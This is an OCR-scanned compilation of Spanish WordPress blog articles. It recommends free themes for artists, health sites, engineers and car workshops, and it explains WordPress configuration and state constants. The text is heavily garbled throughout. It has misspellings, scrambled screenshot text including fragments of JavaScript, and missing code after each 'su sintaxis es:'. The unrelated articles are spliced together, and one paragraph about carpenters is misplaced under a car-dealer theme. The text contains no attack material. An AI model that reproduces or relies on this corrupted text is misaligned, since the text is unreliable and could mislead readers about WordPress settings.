traduccién, pensado con las mejores practicas de SEO,
cuenta con funciones Unicas para mejorar las conversiones de
« »y mucho mas.

Incluso puedes editar los ajustes para tableta y mévil para que
tu sitio se vea bien en cualquier dispositivo.

Funciona con los principales constructores de paginas como
Elementor, Beaver Builder, Visual Composer, Divi, SiteOrigin,
etc.

Puedes descargar este Tema desde el repositorio de
WordPress (https://es.wordpress.org/themes/oceanwp/).

SslsWardpress
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TEMA

SanRemo

S a ﬂ re m O Por moozthemes

A BLOG IS FOR LIFE, WOT JUST FOR CHRISTMAS

buen escaparate para tus fotografias, dibujos o la forma que
quieres presentar tu arte.

Cuenta con un disefio de grandes imagenes destacadas;
también incluye un widget personalizado para enlaces de
redes sociales, un menua de navegacion fijo en la parte
superior y un area de widget de pie de pagina.

Puedes descargar este Tema desde su repositorio en: (
https://mythemeshop.com/themes/sanremo/).

Draft

Draft Portfolio reemss

T et

ART
é".' ?-‘ I‘—.. )
«Di . ess
adecuado para artistas, ilustradores y bloggers. Utiliza
imagenes destacadas para mostrar un disefio de cuadricula
en la pagina de inicio.

Viene con un cuadro de mensaje de bienvenida, colores
personalizados, encabezado y soporte de fondo. Todas las
opciones de tema se pueden configurar con el personalizador.

Es un Tema gratuito en su version estandar por unos 40€
tendras un tipo de entrada especial con galerias y otras
atractivas herramientas.

Puedes descargar este Tema desde su repositorio en:
(https://es.wordpress.org/themes/draft-portfolio/).

ePortfolio
ePOrtfolio s memame

«BPOMfL..c.. o it i Grciciie ce cicie e e
promocionar tu marca personal en linea, cuenta de inicio con
integracion de redes sociales a todos tus perfiles.

La pagina de inicio muestra tu foto personal en la barra lateral
izquierda, seguida de tu breve biografia, enlaces de pefrfil
social, publicaciones de blog y elementos de cartera.

Es facil de personalizar y viene con varios «shortcodes»,
plantillas y widgets personalizados.

Puedes descargar este Tema desde el repositorio de
WordPress (https://es.wordpress.org/themes/eportfolio/).

Infinite Photography

Infinite Photography s aame mene

INFINITE PHOTOGRAPHY
solowordpress.es

Entre los mejores Temas para artistas de WordPress, esta sin
duda este Tema,; «Infinite Photography» es simple y limpio,
con un disefio elegante y de facil personalizacién por medio
de las opciones estandar.

Esta disefiado especialmente para las bitacoras de fotografia,
aunque funciona muy bien para alimentacion, estilo, deportes,
etc.

Esta preparado para funcionar en varios idiomas, es
responsivo y se ha tenido cuidado en que sea amigable con
muchos navegadores.

Funciona con barras laterales a izquierda o derecha o con una
columna de ancho entero.

Puedes descargar este Tema desde el repositorio de
WordPress
(https://es.wordpress.org/themes/infinite-photography/).

SOLOWORDPRESS
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Los mejores Temas para Salud de WordPress

Los mejores Temas para Salud de WordPress.

Estos Temas son los que usaras si tu bitacora habla sobre alimentacion saludable; sobre tu clinica de terapias alternativas; sobre
las virtudes de hacer ejercicio en casa; como se dice en inglés: You name it!

Como he explicado en numerosas ocasiones, practicamente cualquier Tema es candidato a ser adaptado (con ciertos
conocimientos) a cualquier necesidad, pero hay algunos que tienen mayor facilidad para ser usados para este fin sin hacer

muchos cambios.

Blossom Health Coach

BlOSSom Health COaCh Por Biossem Themes
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para WordPress «Blossom Coach». Aungue puede usarse
para cualquier propésito, este Tema gratuito esta adaptado de
forma que facilite su uso para entrenadores de salud,
consultores, médicos, mentores, oradores y terapeutas.

Es también aconsejable para agencias de consultoria,
blogueros afiliados, vendedores de contenido y psicélogos;
segln sus creadores.

El tema presenta un disefio completamente optimizado y una
seccion de 3 boletines estratégicamente ubicada donde
puedes afiadir formularios de suscripcion para construir tu lista
de correo electrénico.

Es muy ligero y veloz; ademas del codigo optimizado para
SEO, viene con marcado de Schema.org listo para ayudar a
gue tu web se coloque mas alto en los resultados del motor de
busqueda.

Puedes descargar este Tema desde el repositorio de
WordPress
(https://es.wordpress.org/themes/blossom-health-coach/).
Healthcare Lab

ealthcare Lab s sswptheme

o
@)
=
S
a
—
b4 D
>

\

PR Z *

4

«Healthcare Lab» ha sido disefiado desde el principio con la
intencion de ser usado como un Tema de usos multiples para
hospitales, salud y atencién médica.

Una de las cosas que me atraen, es que se puede cambiar el
estilo de la pagina y seleccionar color Unico, lo que lo hace
mas usable para personas con baja vision.

Puedes descargar este Tema desde el repositorio de
WordPress (https://es.wordpress.org/themes/healthcare-lab/).

Medical Hall
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«Medical Hall» es un tema hijo de Better Health; aunque es
por decirlo asi, el hermano pequefio y gratuito, no por ello es
menos adecuado 0 menos potente.

Este tema es adecuado para cualquier tipo de sitios web
médicos como los de hospitales, asilos de ancianos, clinicas
dentales, sitios web de médicos, etcétera.

Cuenta con un disefio de grandes imagenes destacadas;
también incluye un widget personalizado para enlaces de
redes sociales, un menu de navegacion fijo en la parte
superior y un area de widget de pie de pagina.

Puedes descargar este Tema desde el repositorio de
WordPress en:
(https://es.wordpress.org/themes/medical-hall/).

@lsVWardpress
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Better Health

Bette r H ealth For canyonthemes

ElBetter neain
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«Better Health» el original, el padre del anterior, que por
supuesto, no tiene nada que envidiarle.

Aungue se supone que es un tema multipropoésito, esta en la
lista de los mejores Temas para Salud de WordPress, porque
esta disefiado con ese propdésito en mente.

«Better Health» es un Tema competente profesional y robusto,
completamente responsivo.

Ha sido desarrollado como una potente plataforma para la
creacion sin esfuerzo de sitios dedicados a la medicina.

Puedes descargar este Tema desde el repositorio de
WordPress en:
(https://es.wordpress.org/themes/better-health/).

VW Health Coaching

VW Health Coaching s meues

VW HEALTH
COACHING

QuUlIdULAQuUU, HTHYIVYU, veIDAlll y 1TV UT 1TLUIDUD.

Creado con los entrenadores personales y de yoga en mente,
puede usarse para entrenadores de gimnasios, consultores de
salud, nutricionistas, ...

Realizado con un bonito disefio que te permite listar
claramente todos tus servicios profesionales de la forma mas
profesional y atractiva.

Tiene una zona de galeria que te permitira presentar todas
esas fotos llamativas de tu centro educativo.

Cuenta con un hermoso disefio para enumerar claramente tus
servicios de la manera més profesional. El tema es totalmente
responsivo, compatible con varios navegadores, listo para
traduccion y listo para retina.

Se puede agregar una seccion de testimonios para obtener
comentarios de los clientes y mejorar tus servicios; ademas
trae un formulario de suscripcidn para mantenerse en contacto
con los clientes.

Puedes descargar este Tema desde el repositorio de

WordPress
(https://es.wordpress.org/themes/vw-health-coaching/).

MH HealthMag
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«MH HealthMag» es un tema de WordPress de revista fresco
y hermoso para sitios web editoriales con temas como salud,
estado fisico, cuerpo, comida, belleza u otros.

Es un tema ideal para revista, inspirado en la famosa revista
«MH Magazine» que incluye varios widgets personalizados
para crear una portada bien organizada donde mostrar tu
valioso contenido.

Si te gusta este tema de revista gratuito y en caso de que
necesites mas funciones y opciones, puedes tener el mismo
disefio con la version de pago de MH Magazine (sin la
necesidad de un tema hijo) configurable con opciones de
disefio flexibles.

Puedes descargar este Tema desde el repositorio de
WordPress
(https://es.wordpress.org/themes/mh-healthmag/).
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Las Constantes de propdsito General en WordPress

El grupo General, como su nombre indica, no tiene un
propésito especifico sino que agrupa a aquellas constantes
gue no estan en otro grupo mas detallado.

La idea entonces, es mencionarlas y, en lo posible, detallar su
uso y aplicacion.

AUTOSAVE_INTERVAL

Esta constante de propdsito General, establece el intervalo
entre copias «borradores» que se guardan cuando estas
editando.

Independientemente del editor que uses y de si se trata de
una pagina estatica o de una entrada, se guardaran copias de
lo que editas para que, en caso de perder la conexién con tu
copia de WordPress, puedas tener al menos una parte de lo
escrito y pierdas la totalidad.

El valor por defecto es de 60, que son los segundos de
intervalo entre una copia y otra.

Uso y definiciéon
Se puede establecer en el archivo wp-config.php ysu
sintaxis es:

Normalmente esta constante no se define, ya que su valor por
defecto de 60 segundos es suficiente para la mayoria de los
casos, un valor mas bajo seria demasiado «celo» en la
proteccion.

Aumentar el intervalo sin embargo, viene bien si no queremos
generar muchas copias innecesarias de lo escrito, ya que
cada copia ocupa sitio en la base de datos interna de
WordPress.

Recuerda que la edicién del archivo wp-config.php es
delicada y que toda modificacion debe realizarse ANTES de la
linea:

CORE_UPGRADE_SKIP_NEW_BUNDLED

Esta constante, que también forma parte de Las Constantes
de propodsito General en WordPress, te permite saltar nuevos
archivos en paquete como en plugins y/o temas en las
actualizaciones.

En otras palabras, si esta constante es verdad, cuando sale
una version mayor impide que se instalen los nuevos Temas o
plugins que suele llevar WordPress por defecto (como el hello
Dolly y similares).

Uso y definicion
Se puede establecer en el archivo wp-config.php ysu
sintaxis es:

Los posibles valores, como has imaginado, son true o
false .

DISABLE_WP_CRON

Poco usada, esta constante del grupo de Las Constantes de
propésito General en WordPress, habilita o deshabilita la
funcion de cron de WordPress.

La funcién de cron se usa para distintas tareas como la
publicacion programada, las copias de seguridad
programadas e, incluso, algunos temas y plugins la usan para
mostrar anuncios, ventanas modales, etcétera.

Uso y definicién
Se puede establecer en el archivo wp-config.php ysu
sintaxis es:

Los posibles valores, como has imaginado, son true o false

Su valor por defecto es false , ya que sélo hay que
deshabilitar esta funcion si se quiere corregir algun error o
evitar que se realicen ciertas funciones.

EMPTY_TRASH_DAYS

La Constante EMPTY_TRASH_DAY ®stablece el intervalo que
tiene WordPress para borrar automatica y definitivamente las
entradas, paginas, adjuntos y comentarios que estén en la
papelera de reciclaje.

Uso y definicién
Se puede establecer en el archivo wp-config.php ysu
sintaxis es:

Los posibles valores, especifican el nimero de dias

Su valor por defecto es 30, especificando 30 dias de espera
en los que podemos recuperar elementos de la papelera de
reciclaje.

IMAGE_EDIT_OVERWRITE

«IMAGE_EDIT_OVERWRITE permite a WordPress
sobreescribir una imagen antes de editar o guardar la imagen
como copia.

Al editar una imagen de la galeria de medios, lo usual es que
guardemos el resultado de la edicion; la imagen creada como
resultado, no sobreescribe la antigua imagen, sino que se
almacena con otro nombre compuesto por el nombre de la
imagen original seguido de un numeral (1, 2, 3, ...) ano ser
que esta constante esté definida como

Uso y definicién
Se puede establecer en el archivo wp-config.php ysu
sintaxis es:

Los posibles valores, son true o false .

Su valor por defecto es false , evitando sobre escribir las
imégenes existentes.

MEDIA_TRASH
Activa/Desactiva la funcién de papelera de reciclaje para los
medios.

Uso y definicion
Se puede establecer en el archivo wp-config.php ysu
sintaxis es:
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Los posibles valores, son true o false .

Su valor por defecto es true , especificando que las imagenes
eliminadas van a la papelera de reciclaje.

Es importante recordar que si la constante
EMPTY_TRASH_DAYSiene un valor de cero (0), el valor que
especifiqgues para MEDIA_TRASHesulta irrelevante.

WPLANG
Define el idioma que usard WordPress en el frontend. Es, en
otras palabras, el idioma que reconocera el Tema que uses.

Uso y definicion
Se puede establecer en el archivo wp-config.php ysu
sintaxis es:

Los posibles valores, son los que aparecen en la columna WP
lang, de la tabla de traductores de WordPress.

Su valor por defecto es es_ES, si has descargado la copia
desde el repositorio oficial (es.wordpress.org).

WP_DEFAULT_THEME
Define el tema por defecto para los sitios nuevos, también
sirve como respaldo en caso de fallo del tema activo.

Uso y definicién
Se puede establecer en el archivo wp-config.php ysu
sintaxis es:

Su uso méas comun, es especificar el Tema que sera usado en
caso de que el que se usa normalmente, genere algun error.
Por esta razoén, suele especificarse un Tema que viene por
defecto en la copia original de WordPress y que ya esta
probado.

Los posibles valores, son los nombres de los Temas que
aparezcan bajo el directorio /wp-content/themes/

Su valor por defecto depende de cada version de WordPress
gue se instale.

WP_CRON_LOCK_TIMEOUT

Define un periodo de tiempo en el que se finalizara un Gnico
«cronjob». Usualmente, una tarea en el servidor no suele
llevar mucho tiempo (aunque la percepcién del usuario sea
otra distinta).

Cuando se realizan tareas programadas, cada tarea es
identificada con un nimero de «cronjob» y esa tarea en
especifico, tiene un tiempo limitado para finalizar.

Uso y definicién
Se puede establecer en el archivo wp-config.php ysu
sintaxis es:

El tiempo se establece en segundos (Por defecto: 60).

WP_MAIL_INTERVAL

Continuando con Las Constantes de propdsito General en
WordPress, esta es de las mas generales. Define un periodo
de tiempo en el que se podra hacer una Unica peticién de
email.

Es decir, independientemente del nimero de plugins que
generen correos a enviar, estos se acumulan en una cola de
salida y, solo una vez cada intervalo, los correos son
enviados.

Uso y definicién
Se puede establecer en el archivo wp-config.php ysu
sintaxis es:

El tiempo se establece en segundos (Por defecto: 300).

WP_POST_REVISIONS

Otra de las Constantes de propésito General en WordPress,
poco usadas. Activa / desactiva / establece la funcion de
revision de entradas.

Un numero mayor que 0 define el nUmero de revisiones para
las entradas.

Uso y definicion
Se puede establecer en el archivo wp-config.php ysu
sintaxis es:

Los posibles Valores son: true | false | numero (Por defecto:
true)

O sea, podemos activar (true ) o desactivar (false ) la
capacidad de guardar revisiones o, establecer cuantas
revisiones maximas puede haber (nimerq.

WP_MAX_MEMORY_LIMIT
Entre las Constantes de proposito General en WordPress, es
quiza la mas usada por los desarrolladores.

Te permite cambiar el limite maximo de memoria para uso de
las funciones de WordPress.

Este limite es independiente del limite fijado por el interprete
de PHP, aunque siempre ha de ser igual o inferior.

Uso y definicion
Se puede establecer en el archivo wp-config.php ysu
sintaxis es:

El valor por defecto es de 256M (256 mega bytes). Los
valores pueden establecerse en bytes, kilo bytes (k), mega
bytes (M), en giga bytes (G), y hasta en tera bytes (T).

SOLOWORDPRESS
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WP_MEMORY_LIMIT
Al igual que el anterior, establece el limite de memoria que usara WordPress en su trabajo.

A diferencia de aquél, este limite es el limite de una tarea singular, siendo aquél, el limite suma de todas las tareas de WordPress.

Este limite es independiente del limite fijado por el interprete de PHP, aunque siempre ha de ser igual o inferior.

Uso y definicién
Se puede establecer en el archivo wp-config.php vy su sintaxis es:

El valor por defecto es de 40M (40 mega bytes) en los sitios singulares y de 64M (64 mega bytes) en los multi sitio. Los valores
pueden establecerse en bytes, kilo bytes (k), mega bytes (M), en giga bytes (G), y hasta en tera bytes (T).

Conclusién
Hay un montén de constantes que puedes usar para ajustar tu copia de WordPress y para aumentar los valores por defecto (si tu

servidor lo permite).

Si estas involucrado en el desarrollo, te conviene conocer estas constantes que son limitaciones que debes tener en cuenta.

J [l _ ] £\
Canales de Telegram: Canal SoloLinux — Canal SoloWordpress O
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Los mejores Temas para Ingenleros de WordPress

Los mejores Temas para Ingenieros de WordPress.

Dentro de la clasificacion posible por temas especializados,
hoy te presento los Temas que estan en principio orientados a
ser usados por los Ingenieros.

Ingenierias hay muchas y variadas, pero tienen cosas en
comun y, una de ellas, es la forma de sus negocios (mas o
menos ® ).

Industrial Lite

INndustrial Lite seevwrmweses

(™

Industrial i M Carkid .

We are World-Class Designers ~
nnd Industrial Eng‘nnrs

s olowarelgras e

SERVICES TITLE 3

SERVICES WE PROVIDE

 Cupee Iyt 31 ED bkt i ) Wit Tharrn

Este es un Tema nuevo, entiéndase «de nueva factura»,
desarrollado por una casa con larga experiencia (VW
THEMES) lo que le otorga seriedad.

Es un Tema inspirado en la industria y se ajusta, por tanto, a
todo tipo de industrial.

Esta disefiado para ser un buen Tema a usar por fabricas y
manufacturas. Completamente adaptable, es casi minimalista
y elegante.

Creado con el «framework» Bootstrap, resulta responsivo y
rapido.

Sus creadores alegan que es muy bueno para grandes
fabricas y puede facilmente usarse en pequefias fabricas;
pensado para negocios de Electrdnica, Electricidad,
Ferrocarriles, Energéticas o Plantas de Construccion.

Puedes descargar este Tema desde el repositorio de
WordPress (https://es.wordpress.org/themes/industrial-lite/).

Carpenter Lite

Ya un poco mas especializado, no simplemente «industrial»,
tenemos este Tema hecho para carpinteros (una rama poco
reconocida como ingenieria).

Quiza la confusién esta en que no se trata de carpinteros que
hacen un cajon, son industriales de la madera, haran mesas y
casas.

En realidad esta pensado para pequefias empresas, lo que en
Espafia se conoce como autbnomos.

oon this.BCA(TUNCLI!
RSION="3.3.7 ,C- TMSIT

“href"),d=dbid. .-ep]ace(,-
1), g=a.Event(" -b
it("11"),€)s
}}}.c.prototype
sta-toggle="tab}
in")):b.removeC3d
", 10),e88e( ) jvas

«fade” ). length) ;g. lengthkhig.one( b

-tab=b =~ 4n, tab, Gunstmctor.:c ,8.n. tab. noCond
dmlmn on("L J

TON ouRAHON=159 c.pry
))‘

¢ Beke[o] )))par

;'"’ (t f’m’kPﬂsI h‘.m

L5 pInnedOf Figtun,
tlen(a,b, c,d){y

«Carpenter the» es un Tema para WordPress 100%
responsivo. Ha sido disefiado como un Tema para todo tipo de
pantallas, desde alta resolucion a teléfonos moviles o tabletas
y esta preparado para las pantallas retina.

También esta lista para su integracion con plataformas de
comercio electrénico como WooCommerce.

Puedes descargar este Tema desde el repositorio de
WordPress (https://es.wordpress.org/themes/carpenter-lite/).

Ca rpe r-] Ee r l_.i te For flythemes

W R LA N WOOU WORRRE

. THE HIGH QUALITY MATERI.N.
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Construction Map

Construction Map s emesms

Construction Map
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Siguiendo con el tema de la construccion, en esta lista de Los
mejores Temas para Ingenieros de WordPress, tengo que
poner este.

«Construction Map» no trata de hacer mapas, es un Tema
enfocado a la construccion. Aunque no se ha actualizado
desde hace un afio, las pruebas han mostrado que tiene
rapidez y agilidad

Esté enfocado en su creacion, a ser usado por empresas de
construccion, aunque puede ser usado por empresas de
ingenieria, arquitectura, bienes raices o construccion.

Al igual que otros Temas modernos, es responsivo, flexible y
amigable con el SEO.

El tema tiene caracteristicas faciles y avanzadas que te
permiten disefiar el aspecto de tu sitio sin tocar el codigo.

Puedes descargar este Tema desde su repositorio en:
(https://mythemeshop.com/themes/construction-map/).

Architectonic

Ar C h ite Ct O n iC Por themepalace

n

ngel Moor Tower

White high rise building
by Michal Nowak

Con su disefio estéticamente agradable y moderno, es un
tema multipropdsito de WordPress totalmente capaz de
manejar las necesidades y requisitos de una enorme variedad
de sitios web, desde personales hasta corporativos, pero es
particularmente adecuado para las necesidades de las
personas que desean comenzar su blog, empresas de
arquitectura, empresas de disefio de interiores, empresas de
paisajismo, empresas de entretenimiento y empresas de
ingenieria que desean establecer su presencia en linea.

El tema esta bellamente disefiado, limpio, facil de usar,
responsivo, presenta diferentes disefios con posicion de barra
lateral.

Puedes descargar este Tema desde su repositorio en:
(https://es.wordpress.org/themes/architectonic/).

OfficePress

O ﬁci C e P r e S 5 Por themepaloce

@ al‘ﬁcepress

Need Website?
we are here to

help you! '
e SOLOWOrdp

Design Discover Development

Seamos sinceros, la razén por la que incluyo este Tema entre
Los mejores Temas para Ingenieros de WordPress, es
puramente personal.

Es un tema multiproposito, que esta bien disefiado y cuenta
con caracteristicas que podrian decir que es adecuado para
esta categoria.

Me gusta su eleccion de colores y su disposicion, que le
otorgan una elegante sencillez, muy «técnica», sin florituras.

Sus caracteristicas le hacen parecido a otros de esta lista, es
responsivo, elegante y colorido, pero ademas, es de los pocos
que trabaja (si se quiere) con cuatro columnas.

Puedes descargar este Tema desde el repositorio de
WordPress
(https://es.wordpress.org/themes/officepress/).

Conclusién

Como ya he repetido en varias ocasiones, el que un elemento
sea gratuito, no significa necesariamente que sea de menor
calidad.

Antes de dedicarte a buscar un costoso tema de pago en
alguna coleccidn de una casa de desarrollo, otorga a uno de
estos «simples» Temas, una oportunidad; puede que te
sorprendas.

Si quieres puedes buscar otros temas, recuerda que en el
repositorio de WordPress hay muchos:
(https://es.wordpress.org/themes/).

L
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Las Constantes de Estado en WordPress

La mayoria de estas constantes son definidas en ciertos
estados de la ejecucion si ocurren ciertas condiciones. Es
decir, pueden no existir y solo aparecer en ciertas
condiciones.

Ya sabemos que no es lo mismo «Existir y no tener valor»,
«Existir y tener valor Nulo», y «NO Existir»; estas tres
condiciones pueden parecer iguales a efectos «visuales»,
pero son absolutamente distintas a efectos de programacion
(al menos en el lenguaje PHP).

Veamos pues, las Contantes en detalle:

APP_REQUEST

Esta constante es definida si hay una peticion «Atom
Publishing Protocol». Si no existe una peticién de ese tipo, la
Constante simplemente no existe.

El valor por defecto es de true, su mera existencia no seria
suficiente.

Uso y definicién

El «<Atom Publishing Protocol (AtomPub)>» es un protocolo
de nivel de aplicacién para publicar y editar recursos web. El
protocolo se basa en la transferencia HTTP de
representaciones con formato Atom.

Recuerda que la comparacion hay que hacerla completa:

Ya que no vale solo con estar definida.

COMMENTS_TEMPLATE

La encontraremos definida si esta cargado el formulario de
comentarios. Ten en cuenta que podemos programar un
formulario en una pagina o una entrada y que no sea el
formulario de comentarios propiamente dicho.

Su valor por defecto es true. Al igual que la anterior, solo su
valor true es valido.

Uso y definicién

Ya que existen paginas que no admiten comentarios, aunque
un formulario pueda solicitar datos, no significa que se active
todo el proceso de registro y administracion de comentarios
gue sdlo aparece si se usa el formulario adecuado.

Recuerda que la comparacion hay que hacerla completa:

Ya que no vale solo con estar definida.

DOING_AJAX

Sera definida si se esté produciendo una interaccion con
protocolo «AJAX» entre el cliente y el WordPress.

Su valor por defecto es true. Al igual que la anterior, solo su
valor true es valido.

Uso y definicién

La interaccién «AJAX» se produce muy a menudo, ya que es
la formula usada para comunicar el navegador del cliente
(visitante) con el servidor (WordPress) por ejemplo cuando se
pulsan botones.

Recuerda que la comparacién hay que hacerla completa:

Ya que no vale solo con estar definida.

DOING_AUTOSAVE
Es definida en el momento en que se esta haciendo un
guardado automatico de una entrada.

Su valor por defecto es true. Al igual que la anterior, solo su
valor true es valido.

Uso y definicion

A modo de ejemplo, si hemos desarrollado un plugin que vigile
cuando escribimos una nueva entrada y avise cuando la
entrada es guardada, por ejemplo vigilando cuando se
produce una llamada SQL para guardar la tabla
correspondiente, hay que tener en cuenta que se producen
varias llamadas de este tipo, ya que se hacen guardados de
seguridad con frecuencia.

Recuerda que la comparacién hay que hacerla completa:

Ya que no vale solo con estar definida.

DOING_CRON

Esta constante aparecera definida si WordPress esta
realizando una tarea «CRON» (una tarea programada o
repetitiva).

Su valor por defecto es true. Al igual que la anterior, solo su
valor true es valido.

Uso y definicién

Solo en el momento en que WordPress esté realizando una de
estas tareas, como la publicacién programada de una entrada
0 la copia de seguridad programada cada semana, esta
Constante existira.

Recuerda que la comparacién hay que hacerla completa:

Ya que no vale solo con estar definida.

IFRAME_REQUEST
Solo aparecera definida si WordPress esta realizando una
«IFRAME_REQUEST» (una Inline Frame).

Su valor por defecto es true. Al igual que la anterior, solo su
valor true es valido.

Uso y definicion

Una «IFRAME_REQUEST» se producira por ejemplo, si
tenemos un video de una fuente externa, que se reproduce
como parte de una entrada o pagina.

Recuerda que la comparacién hay que hacerla completa:

Ya que no vale solo con estar definida.
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IS_PROFILE_PAGE Recuerda que la comparaciéon hay que hacerla completa:
Esta constante aparecera definida en el momento en que un
usuario cambie alguno de los ajustes de su perfil.

Su valor por defecto es true. Al igual que la anterior, solo su

valor true es valido. Ya que no vale solo con estar definida.

Uso y definicién WP_IMPORTING

La «IS_PROFILE_PAGE» es una constante que aparecera La constante «\WP_IMPORTING» es definida si WordPress
cuando alguno de los ajustes de la pagina de perfil del usuario esta importando datos.

cambie, por ejemplo la contrasefia, el color del escritorio o

cualquier otro dato. Su valor por defecto es true. Al igual que la anterior, solo su

valor true es valido.

Recuerda que la comparacion hay que hacerla completa:
Uso y definiciéon
Durante el proceso de importacion, tras invocar la utilidad en
el menu Herramientas -> Importar, <\WP_IMPORTING» esta
definida hasta el final del proceso.

Ya que no vale solo con estar definida.
Recuerda que la comparacién hay que hacerla completa:

SHORTINIT

«SHORTINIT» hace que se cargue la minima expresion de

WordPress.

Su valor por defecto es true. Al igual que la anterior, solo su Ya que no vale solo con estar definida.

valor true es valido.
WP_INSTALLING

Uso y definicién Es una Constante definida si estamos realizando una nueva
Si lo que queremos es que WordPress cargue sélo las instalacion.

funciones y médulos necesarios para su funcionamiento,

podemos solicitar esta condicion. Su valor por defecto es true. Al igual que la anterior, solo su

valor true es valido.

Esta es una Constante que podemos definir en el archivo

wp-config.php . Uso y definicién
Durante el proceso de instalacién o durante una actualizacién,
esté presente «WP_INSTALLING» hasta el final del proceso.

Recuerda que la comparacién hay que hacerla completa:
WP_ADMIN

De nuevo una constante que solo estara definida cuando sea
necesario, en este caso, cuando hay una peticion en el

«backend» (el escritorio de administracién) de WordPress. Ya que no vale solo con estar definida.
Su valor por defecto es true. Solo su valor true es valido. WP_INSTALLING_NETWORK
Al igual que la anterior, es una Constante definida si estamos
Uso y definiciéon realizando una nueva instalacion.
«WP_ADMIN» esta definida si hay una peticion. Por ejemplo,
si solicitamos ver la lista de plugins instalados. Su valor por defecto es true. Al igual que la anterior, solo su

valor true es valido.
Recuerda que la comparacion hay que hacerla completa:
Uso y definicién
Durante el proceso de instalacion o durante una actualizacion
de una copia de WordPress multisitio (network), esta presente
«WP_INSTALLING» hasta el final del proceso.

Ya que no vale solo con estar definida.

Recuerda que la comparacion hay que hacerla completa:

WP_BLOG_ADMIN
A diferencia de la anterior, esta constante estara definida solo
si se esta usando uno de los script dentro de /wp-admin/ .

Su valor por defecto es true. Al igual que la anterior, solo su o
valor true es valido. Ya que no vale solo con estar definida.

Uso y definicién
«WP_BLOG_ADMIN>» esta definida si hay una peticion en
/wp-admin/.
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WP_LOAD_IMPORTERS
«WP_LOAD_ IMPORTERS» es una constante definida cuando
se ha invocado el proceso de importacion.

Su valor por defecto es true. Al igual que la anterior, solo su
valor true es valido.

Uso y definiciéon
Aparece cuando estamos en el menld Herramientas ->
Importar.

Recuerda que la comparacion hay que hacerla completa:

Ya que no vale solo con estar definida.

WP_NETWORK_ADMIN
«WP_NETWORK_ADMIN» es definida si hay un request en
/wp-admin/network/

Su valor por defecto es true. Al igual que la anterior, solo su
valor true es valido.

Uso y definicién
Es creada cuando hay una peticion relacionada con la
administracion de sitios multi-sitio.

Recuerda que la comparacion hay que hacerla completa:

Ya que no vale solo con estar definida.

WP_REPAIRING
«WP_REPAIRING» es definida si hay un request en el
proceso de reparacion.

Su valor por defecto es true. Al igual que la anterior, solo su
valor true es valido.

Uso y definicién

Sera creada en el momento de haber una peticién derivada
del proceso de reparacion invocado en
/wp-admin/maint/repair.php

Recuerda que la comparacion hay que hacerla completa:

Ya que no vale solo con estar definida.

WP_SETUP_CONFIG
«WP_SETUP_CONFIG» es definida durante el proceso de
instalacion o de configuracion de WordPress.

Su valor por defecto es true. Al igual que la anterior, solo su
valor true es valido.

Uso y definicion
Esta presente durante el proceso de instalacion o de
configuracion.

Recuerda que la comparacién hay que hacerla completa:

Ya que no vale solo con estar definida.
WP_UNINSTALL_PLUGIN

Como su nombre indica, «\WP_UNINSTALL_PLUGIN» es
definida durante el proceso de desinstalacion de un plugin.

Su valor por defecto es true. Al igual que la anterior, solo su
valor true es valido.

Uso y definicién
Es creada por el médulo de desinstalacion uninstall.php

Recuerda que la comparacién hay que hacerla completa:

Ya que no vale solo con estar definida.

WP_USER_ADMIN
Es definida si hay un request en /wp-admin/user/

Su valor por defecto es true. Al igual que la anterior, solo su
valor true es valido.

Uso y definicién
Cuando se produce un requerimiento en el manejo de
usuarios, sea cual sea su rol.

Recuerda que la comparacién hay que hacerla completa:

Ya que no vale solo con estar definida.

XMLRPC_REQUEST
Es definida si hay una peticién en el API .

Su valor por defecto es true. Al igual que la anterior, solo su
valor true es valido.

Uso y definicién
Cuando se produce una peticion en la APl que maneja la
conexion XML-RPC

Recuerda que la comparacién hay que hacerla completa:

Ya que no vale solo con estar definida.

Si eres desarrollador y no veo otra razon por la que esto te
interese © sabras lo delicado que es manejar estos temas.

En cualquier caso, recuerda: #QuédateEnCasajuega,
experimenta y, sobre todo, jdivertirte!
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Los mejores Temas para Talleres de WordPress

solowordpress.es

Los mejores Temas para Talleres de
WordPress.

En la clasificacion de Talleres, hablo de
Talleres Mecanicos, aunque supongo
que con un poco de buena voluntad y
algunos ajustes, valdra para los talleres
de cerdmica, confeccion, etc.

Sigo hablando, por supuesto, de Temas
gratuitos, no hablo de Temas que
puedes comprar a una empresa de
desarrollo.

Washing Center

Washing Center s e meme:

B bz s
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No te dejes engafiar por su nombre,
«Washing Center» no es un Tema
exclusivo para centros de lavado.
Aungue es cierto que es el lavado de
vehiculos el elemento central de su
construccion, el tema también es
adecuado para cualquier pequefia
empresa, como alquiler de automdviles,
vidrios para automoviles o para
cualquier personal de mantenimiento,
técnico de servicio, concesionario de
automoviles, mecanico de motocicletas
o0 técnico automotriz.

El centro de lavado es un tema de
WordPress de categoria prémiumy es
muy beneficioso en caso de que esté
en el negocio del lavado de coches o el
lavado de cualquier otro automovil.

Es un Tema responsivo, minimo,
elegante y sofisticado, ademas de ser
facil de usar y creado con el marco
Bootstrap.

Puedes descargar este Tema desde el
repositorio de WordPress

https://es.wordpress.org/themes/washin
g-center/

Sayara Automotive

Ya un poco mas especializado, no
simplemente «industrial», tenemos
este Tema hecho para carpinteros (una
rama poco reconocida como
ingenieria).

Sayara Automotive es un tema de
WordPress moderno, versatil, bien
estructurado y potente para
concesionarios de automoviles,
fabricantes de automoviles, salas de
exposicion de automoviles y bicicletas,
servicios de taxi, alquiler de
automoviles, fabricante de vehiculos
todo terreno y vehiculos recreativos,
tienda de repuestos de automoéviles.

Es totalmente responsivo y se ha
probado con un gran nimero de
navegadores. Se puede traducir a
muchos idiomas diferentes con soporte
completo para idiomas RTL.

Esta codificado con los estandares de
WordPress. Su fondo es simple de
entender y puede ser utilizado por
cualquier persona sin conocimientos
de codificacion.

Puedes descargar este Tema desde el

repositorio de WordPress

https://es.wordpress.org/themes/sayara
-automotive/

Car Fix Lite

Car Fix Lite rorgrocethemes

Lorem ipsum dolor sit

solowo rd pr@ﬁs’es /

@i

OLUR SERVICES

Car Fix Lite es un Tema de WordPress
especialmente pensado para Talleres de
reparacion de automoviles.

Resulta visualmente refrescante, juvenil
y vibrante, intuitivo y moderno, decidido
y deliberado, cuidadosamente disefiado,
limpio y sin desorden.

Tiene un conjunto confiable de
herramientas para desarrollar sitios web
efectivos y profesionales para tu
negocio de automoviles.

Moderno y responsivo; es un tema que
esta listo para usarse «tal y como esta»
al descargarlo e instalarlo.

Puedes descargar este Tema desde su

repositorio en:

k}ttp/s://mythemeshop.com/themes/car-fix
-lite

Advance Automobile

Advance AULOMODIIE s memesnon

Our Services

«Advance Automobile» es un Tema de
WordPress elegante, versatil, moderno e
ingenioso para salas de exposicion de
